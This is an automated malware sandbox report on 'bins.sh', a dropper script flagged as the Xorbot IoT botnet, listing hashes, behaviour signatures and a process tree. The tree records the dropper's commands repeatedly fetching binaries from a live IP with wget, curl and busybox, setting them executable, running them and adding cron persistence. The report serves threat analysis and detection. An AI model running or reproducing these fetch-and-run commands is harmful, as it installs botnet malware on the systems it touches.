Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240226-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    03/12/2024, 11:01

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    bfffb3d2e49097085b53b3afde692a37

  • SHA1

    db34a62b3c3e16ac310e1318e02b252a484e5cee

  • SHA256

    6be9b943dcfdfa48fd7d9d38cfad2decda4eaad06b64f9602a37da7aa78aef13

  • SHA512

    81c880c24a598a9c8424aed4497f3bcb2998143b4ab5033f3a10c07ff147123e7c75b4c02630a2a8998400ac7106889750115a30eb84759ddd9da4f0131a8004

  • SSDEEP

    192:5yXQoVEw8wYwOw5wZwnhnzqIw8wYwOw5wZwH9x:5yX9Bb/diCnhnzCb/diCHr

Malware Config

Signatures

  • Detects Xorbot 6 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1570) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 7 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 7 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 10 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 15 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:697
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:700
        • /usr/bin/wget
          wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Writes file to tmp directory
          PID:705
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Writes file to tmp directory
          PID:722
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Writes file to tmp directory
          PID:728
        • /bin/chmod
          chmod 777 JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • File and Directory Permissions Modification
          PID:729
        • /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          ./JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
          • Executes dropped EXE
          PID:730
        • /bin/rm
          rm JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4
          2⤵
            PID:732
          • /usr/bin/wget
            wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:733
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:734
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:745
          • /bin/chmod
            chmod 777 nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • File and Directory Permissions Modification
            PID:750
          • /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            ./nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • Executes dropped EXE
            • System Network Configuration Discovery
            PID:751
          • /bin/rm
            rm nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel
            2⤵
            • System Network Configuration Discovery
            PID:755
          • /usr/bin/wget
            wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Writes file to tmp directory
            PID:756
          • /usr/bin/curl
            curl -O http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Writes file to tmp directory
            PID:763
          • /bin/busybox
            /bin/busybox wget http://216.126.231.240/bins/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Writes file to tmp directory
            PID:774
          • /bin/chmod
            chmod 777 N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • File and Directory Permissions Modification
            PID:780
          • /tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            ./N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
            • Executes dropped EXE
            PID:782
          • /bin/rm
            rm N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5
            2⤵
              PID:784
            • /usr/bin/wget
              wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Writes file to tmp directory
              PID:786
            • /usr/bin/curl
              curl -O http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Writes file to tmp directory
              PID:796
            • /bin/busybox
              /bin/busybox wget http://216.126.231.240/bins/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Writes file to tmp directory
              PID:797
            • /bin/chmod
              chmod 777 UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • File and Directory Permissions Modification
              PID:798
            • /tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              ./UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
              2⤵
              • Executes dropped EXE
              • Renames itself
              • Reads runtime system information
              PID:799
              • /bin/sh
                sh -c "crontab -l"
                3⤵
                  PID:801
                  • /usr/bin/crontab
                    crontab -l
                    4⤵
                      PID:802
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:803
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        • Reads runtime system information
                        PID:804
                  • /bin/rm
                    rm UMjoNhXEzc48utEDWbXv54DxfS9764N5gh
                    2⤵
                      PID:806
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      2⤵
                      • System Network Configuration Discovery
                      PID:809
                    • /usr/bin/curl
                      curl -O http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      2⤵
                      • System Network Configuration Discovery
                      PID:894
                    • /bin/busybox
                      /bin/busybox wget http://216.126.231.240/bins/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      2⤵
                      • System Network Configuration Discovery
                      • Writes file to tmp directory
                      PID:899
                    • /bin/chmod
                      chmod 777 DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      2⤵
                      • File and Directory Permissions Modification
                      PID:900
                    • /tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      ./DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      2⤵
                      • Executes dropped EXE
                      • System Network Configuration Discovery
                      PID:901
                    • /bin/rm
                      rm DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT
                      2⤵
                      • System Network Configuration Discovery
                      PID:902
                    • /usr/bin/wget
                      wget http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                      2⤵
                        PID:903
                      • /usr/bin/curl
                        curl -O http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                        2⤵
                          PID:904
                        • /bin/busybox
                          /bin/busybox wget http://216.126.231.240/bins/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                          2⤵
                          • Writes file to tmp directory
                          PID:905
                        • /bin/chmod
                          chmod 777 pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                          2⤵
                          • File and Directory Permissions Modification
                          PID:906
                        • /tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                          ./pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                          2⤵
                          • Executes dropped EXE
                          PID:907
                        • /bin/rm
                          rm pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM
                          2⤵
                            PID:909
                          • /usr/bin/wget
                            wget http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                            2⤵
                              PID:914
                            • /usr/bin/curl
                              curl -O http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                              2⤵
                                PID:916
                              • /bin/busybox
                                /bin/busybox wget http://216.126.231.240/bins/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                                2⤵
                                • Writes file to tmp directory
                                PID:918
                              • /bin/chmod
                                chmod 777 tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                                2⤵
                                • File and Directory Permissions Modification
                                PID:923
                              • /tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                                ./tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                                2⤵
                                • Executes dropped EXE
                                PID:924
                              • /bin/rm
                                rm tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg
                                2⤵
                                  PID:926
                                • /usr/bin/wget
                                  wget http://216.126.231.240/bins/BCTWXlqrq60By1ICZYJkJsC4y1qxTab2XD
                                  2⤵
                                    PID:928

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/DGyMw3seiPZkzjg2U2VRyvfN4BQE42H7LT

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/JXrD2n66XZaElCPS3XH2134dNCM9GBpmB4

                                  Filesize

                                  111KB

                                  MD5

                                  ca897a38f23ec23521ce0b1b83f8422d

                                  SHA1

                                  b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

                                  SHA256

                                  043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

                                  SHA512

                                  10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

                                • /tmp/N4vIlvXFyBQEtXHgb8V9XJNPITZwhFiXD5

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /tmp/UMjoNhXEzc48utEDWbXv54DxfS9764N5gh

                                  Filesize

                                  151KB

                                  MD5

                                  6c583043d91c55aa470c08c87058e917

                                  SHA1

                                  abf65a5b9bba69980278ad09356e53de8bb89439

                                  SHA256

                                  2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948

                                  SHA512

                                  82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5

                                • /tmp/nZD7MscEQuXrD05iSbTIp0cxc8vObPJqel

                                  Filesize

                                  112KB

                                  MD5

                                  05d7857dcead18bbd86d2935f591873c

                                  SHA1

                                  34d18f41ef35f93d5364ce3e24d74730a4e91985

                                  SHA256

                                  2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                  SHA512

                                  d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                • /tmp/pbdX2fLKrQnRFTU30ULHmpCF5NQhpvdQwM

                                  Filesize

                                  117KB

                                  MD5

                                  849fa04ef88a8e8de32cb2e8538de5fe

                                  SHA1

                                  c768af29fe4b6695fff1541623e8bbd1c6f242f7

                                  SHA256

                                  8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

                                  SHA512

                                  2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

                                • /tmp/tSWlbes7h6Kad4Fe4w0HiBGvEAjaxutqCg

                                  Filesize

                                  119KB

                                  MD5

                                  1b166b95f9cb4b079ef1b9ec8363ddf3

                                  SHA1

                                  0d8eb08add467b3b5474f9b25909297fe7c2839c

                                  SHA256

                                  94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                  SHA512

                                  983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                • /var/spool/cron/crontabs/tmp.4cS76G

                                  Filesize

                                  210B

                                  MD5

                                  32e55b5b7508a81dd19bbd5e41fd9f74

                                  SHA1

                                  a57a147901670acbadb0de7c98bdf059670f1c0f

                                  SHA256

                                  b185eeb41f760cd7feb11e80b907ccdbf95edcff2d4683bd1b1d3ca1a07aff88

                                  SHA512

                                  356ea55e788b1e9cb3e200f190938ebbd953e86113b2056ed37be5d837be93c09dc220c9aaaf6121bfb31021d81e89ae048445dfe97ce8240b696da25a166b2d